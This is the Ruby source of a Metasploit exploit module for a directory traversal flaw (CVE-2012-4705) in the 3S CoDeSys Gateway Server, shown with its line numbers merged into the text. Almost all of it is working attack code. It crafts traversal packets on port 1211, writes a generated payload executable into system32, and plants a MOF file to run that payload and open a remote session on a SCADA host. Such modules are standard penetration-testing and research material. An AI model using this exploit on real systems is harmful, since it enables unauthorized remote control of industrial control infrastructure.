Path: blob/master/modules/exploits/windows/scada/codesys_gateway_server_traversal.rb
19664 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3# https://metasploit.com4##56class MetasploitModule < Msf::Exploit::Remote7Rank = ExcellentRanking89include Msf::Exploit::EXE10include Msf::Exploit::FileDropper11include Msf::Exploit::Remote::Tcp12include Msf::Exploit::WbemExec1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'SCADA 3S CoDeSys Gateway Server Directory Traversal',19'Description' => %q{20This module exploits a directory traversal vulnerability that allows arbitrary21file creation, which can be used to execute a mof file in order to gain remote22execution within the SCADA system.23},24'Author' => [25'Enrique Sanchez <esanchez[at]accuvant.com>'26],27'License' => MSF_LICENSE,28'Notes' => {29'Stability' => [CRASH_SAFE],30'SideEffects' => [],31'Reliability' => []32},33'References' => [34['CVE', '2012-4705'],35['OSVDB', '90368'],36['URL', 'http://ics-cert.us-cert.gov/pdf/ICSA-13-050-01-a.pdf']37],38'DisclosureDate' => '2013-02-02',39'Platform' => 'win',40'Targets' => [41['Windows Universal S3 CoDeSyS < 2.3.9.27', {}]42],43'DefaultTarget' => 044)45)4647register_options(48[49Opt::RPORT(1211),50]51)52end5354##55# upload_file(remote_filepath, remote_filename, local_filedata)56#57# remote_filepath: Remote filepath where the file will be uploaded58# remote_filename: Remote name of the file to be executed ie. boot.ini59# local_file: File containing the read data for the local file to be uploaded, actual open/read/close done in exploit()60def upload_file(remote_filepath, remote_filename, local_filedata = null)61magic_code = "\xdd\xdd"62opcode = [6].pack('L')6364# We create the filepath for the upload, for execution it should be \windows\system32\wbem\mof\<file with extension mof!65file = "..\\..\\" << remote_filepath << remote_filename << "\x00"66pkt_size = local_filedata.size() + file.size() + (0x108 - file.size()) + 46768# Magic_code + packing + size69pkt = magic_code << "AAAAAAAAAAAA" << [pkt_size].pack('L')7071tmp_pkt = opcode << file72tmp_pkt += "\x00" * (0x108 - tmp_pkt.size) << [local_filedata.size].pack('L') << local_filedata73pkt << tmp_pkt7475print_status("Starting upload of file #{remote_filename}")76connect77sock.put(pkt)78disconnect7980print_status("File uploaded")81end8283def exploit84print_status("Attempting to communicate with SCADA system #{rhost} on port #{rport}")8586# We create an exe payload, we have to get remote execution in 2 steps87exe = generate_payload_exe88exe_name = Rex::Text::rand_text_alpha(8) + ".exe"89upload_file("windows\\system32\\", exe_name, exe)9091# We create the mof file and upload (second step)92mof_name = Rex::Text::rand_text_alpha(8) + ".mof"93mof = generate_mof(mof_name, exe_name)94upload_file("WINDOWS\\system32\\wbem\\mof\\", mof_name, mof)9596print_status("Everything is ready, waiting for a session ... ")97handler9899# Taken from the spooler exploit writen byt jduck and HDMoore100cnt = 1101while session_created? == false and cnt < 25102::IO.select(nil, nil, nil, 0.25)103cnt += 1104end105end106end107108109